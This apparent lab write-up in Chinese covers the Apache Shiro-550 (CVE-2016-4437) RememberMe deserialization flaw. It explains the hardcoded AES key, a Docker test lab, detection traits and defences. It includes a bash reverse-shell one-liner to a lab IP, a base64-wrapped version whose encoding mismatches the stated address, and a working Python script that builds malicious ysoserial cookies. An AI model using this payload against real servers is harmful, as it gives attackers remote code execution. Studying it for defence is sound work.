Shiro漏洞验证与复现
Shiro
什么是shiro
Shiro 是 Apache 旗下的一个 Java 安全框架,全称 Apache Shiro。它负责解决应用程序中的身份验证、权限控制、加密、会话管理等安全问题。
可以把它理解为 Java 应用的“安保系统”。
shiro-550漏洞
项目 | 内容 |
|---|---|
漏洞编号 | CVE-2016-4437 |
漏洞名称 | Shiro-550 / Shiro RememberMe 反序列化漏洞 |
影响版本 | Apache Shiro < 1.2.5(主要是 ≤1.2.4) |
漏洞类型 | 反序列化 → 远程代码执行 (RCE) |
危害等级 | 严重 (CVSS 9.8) |
漏洞原理
RememberMe 机制:Shiro 框架提供了“记住密码”(RememberMe)功能,用户登录后,服务器会生成一个加密的 cookie 存储在浏览器中,下次访问时自动识别身份。
cookie生成过程:
用户信息 → 序列化 → AES加密 → Base64编码 → 存入Cookie(rememberMe字段)
当服务端收到带有 rememberMe cookie 的请求时,会执行反向操作:
读取Cookie → Base64解码 → AES解密 → 反序列化
问题:
1.硬编码的 AES 密钥:Shiro 1.2.4 及之前版本,AES 加密密钥是写死在代码里的默认值 kPH+bIxk5D2deZiIxcaaaA==,攻击者可以获取这个密钥
2.反序列化漏洞:解密后的数据会被反序列化,攻击者可以构造恶意序列化数据,在反序列化时执行任意代码
其漏洞的核心成因是cookie中的身份信息进行了AES加解密,用于加解密的密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥。因此,验证漏洞的核心应该还是在于我们(攻击者)可否获得这个AES加密的密钥,如果确实是固定的密钥kPH+bIxk5D2deZiIxcaaaA==或者其他我们可以通过脚本工具爆破出来的密钥,那么shiro550漏洞才一定存在。
4.什么是序列化/反序列化
程序运行时的数据是存在于内存中的对象(比如一个 Java 对象、PHP 数组、Python 字典)。
但内存中的数据不能直接保存到文件、也不能直接通过网络传输。
序列化就是把「内存对象」变成「可存储 / 可传输的格式」(通常是字节序列或字符串)。
Eg.你有一个 Java 用户对象:User user = new User("admin", "123456");
把它序列化后,可能变成\xAC\xED\x00\x05sr\x00\x04User...
或者 JSON:{"username":"admin","password":"123456"}
反序列化 就是把「字节流 / 字符串」还原成「内存中的对象」
5.为什么反序列化会成为漏洞
反序列化时,对象的类型、行为、甚至任意代码执行逻辑,都可以被攻击者控制。
你以为是「还原数据」,实际上可能是在「执行攻击者设计好的恶意逻辑」。
攻击流程
用户可以对session值进行解码解密反序列化,得到必要的信息,然后根据这些构造自己的payload作为序列化,加密,编码,作为session返回到服务器端,当服务器端进行校验时,执行恶意代码。
攻击者思路:
- 准备恶意命令(如反弹shell)
- 将命令序列化成Java对象
- 使用已知的默认AES密钥加密
- Base64编码后放入Cookie的rememberMe字段
- 发送给目标服务器
服务器执行:
Base64解码 → AES解密 → 反序列化 → 执行恶意代码

7.漏洞检测
方法一:抓包看响应特征
登录时勾选“RememberMe”,用 BurpSuite 抓包,观察响应头中是否包含:
Set-Cookie: rememberMe=deleteMe;


方法二:主动探测
在请求的 Cookie 中手动添加 rememberMe=1,如果响应头返回 rememberMe=deleteMe,说明使用了 Shiro 框架。
GET / HTTP/1.1Host: target.comCookie: rememberMe=1
观察响应:
HTTP/1.1 200 OKSet-Cookie: rememberMe=deleteMe;
8.靶场搭建
# 1. 拉取镜像docker pull medicean/vulapps:s_shiro_1
# 2. 启动容器(将容器的8080端口映射到本地的8080端口)
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
# 3. 访问靶场# 浏览器打开 http://你的IP:8080
漏洞验证
登录抓包
未勾选rememberme

勾选rememberme

后续请求里cookie会携带rememberme

正常来说还有一个爆破AES密钥的过程,我就不做了,主要是了解一下shiro的反序列化漏洞
漏洞复现
Step1.开启端口,接收反弹shell

Step2.构造payload
bash -i >& /dev/tcp/192.168.187.129/6666 0>&1
组成部分 | 含义 |
|---|---|
bash -i | 启动一个交互式 Shell(可以输入命令、看到输出) |
>& | 把标准输出(1)和标准错误(2)合并重定向 |
/dev/tcp/192.168.187.129/6666 | Bash 特殊设备,用于建立一个 TCP 连接到 192.168.187.129:6666 |
0>&1 | 把标准输入(0)重定向到标准输出(1),让攻击机可以输入命令 |
让目标服务器启动一个命令行,然后主动打电话(TCP 连接)到攻击机的 6666 端口。通话接通后,攻击机说的话(命令)会传给目标服务器执行,目标服务器的回答(输出)会传回来给攻击机看。
Step3.base64绕过
bash -i >& /dev/tcp/192.168.187.129/6666 0>&1
编码后:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==
包裹一下:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4Ny4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
原理:
echo,YmFz... 输出 Base64 字符串
base64,-d 解码成原始命令
bash,-i 执行解码后的命令
这样 >、<、| 等特殊字符都"藏"在了 Base64 字符串里,不会被 Java 的 Runtime.exec() 误解析。
Step4.生成最终payload
- 使用 ysoserial 生成 CommonsCollections5 的序列化 payload
- 使用 Shiro 默认 AES 密钥加密
- 生成随机 IV(初始化向量)
- Base64 编码后输出
用一个py脚本生成最终的rememberme
import base64, uuid, subprocess
from Crypto.Cipher import AES
def pad(s):
BS = AES.block_size
return s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
def gen_payload(cmd):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections5', cmd], stdout=subprocess.PIPE)
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
payload = pad(popen.stdout.read())
return base64.b64encode(iv + encryptor.encrypt(payload)).decode()
cmd="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"
print("rememberMe=" + gen_payload(cmd))
生成rememberme,修改rememberme,重放

然后再看一下监听的6666端口,成功获取了反弹shell,就可以执行命令了
攻击流量特征
1. Cookie 长度异常
Cookie 中的 rememberMe 值长度 > 1000 → 高度可疑
2. Cookie 内容特征(Base64)
大量 + 和 /,末尾 = 较多
3.请求频率特征
同一 IP 短时间内发送几十上百个不同 rememberMe 值,用于批量爆破密钥
4.解密的序列化数据中包含已知危险类的包路径
5.网络层请求大小异常
防御方法
一、版本升级
升级 Shiro 到 1.2.5+(修复 550)
升级到 1.4.2+(默认禁用有风险的 RememberMe)
二、修改默认密钥
替换硬编码密钥 kPH+bIxk5D2deZiIxcaaaA==
使用随机生成的 16 字节 AES 密钥
三、禁用 RememberMe
如不需要 RememberMe 功能,直接关闭
配置中移除 RememberMeManager
四、WAF 规则
检测 rememberMe Cookie 长度 > 2000 字符
检测 Base64 中的 +、/、= 密集出现
限制同一 IP 的请求频率
五、代码加固
自定义 RememberMeManager,加入反序列化类白名单
限制反序列化的类范围
六、依赖管理
删除项目中不必要的 CommonsCollections 等危险库
如必须使用,升级到无 Gadget 链的版本
七、网络隔离
限制容器/服务器的出站流量
禁止应用以 root 权限运行
八、监控告警
监控异常的长 Cookie 请求
配置实时告警,发现即阻断
浙公网安备 33010602011771号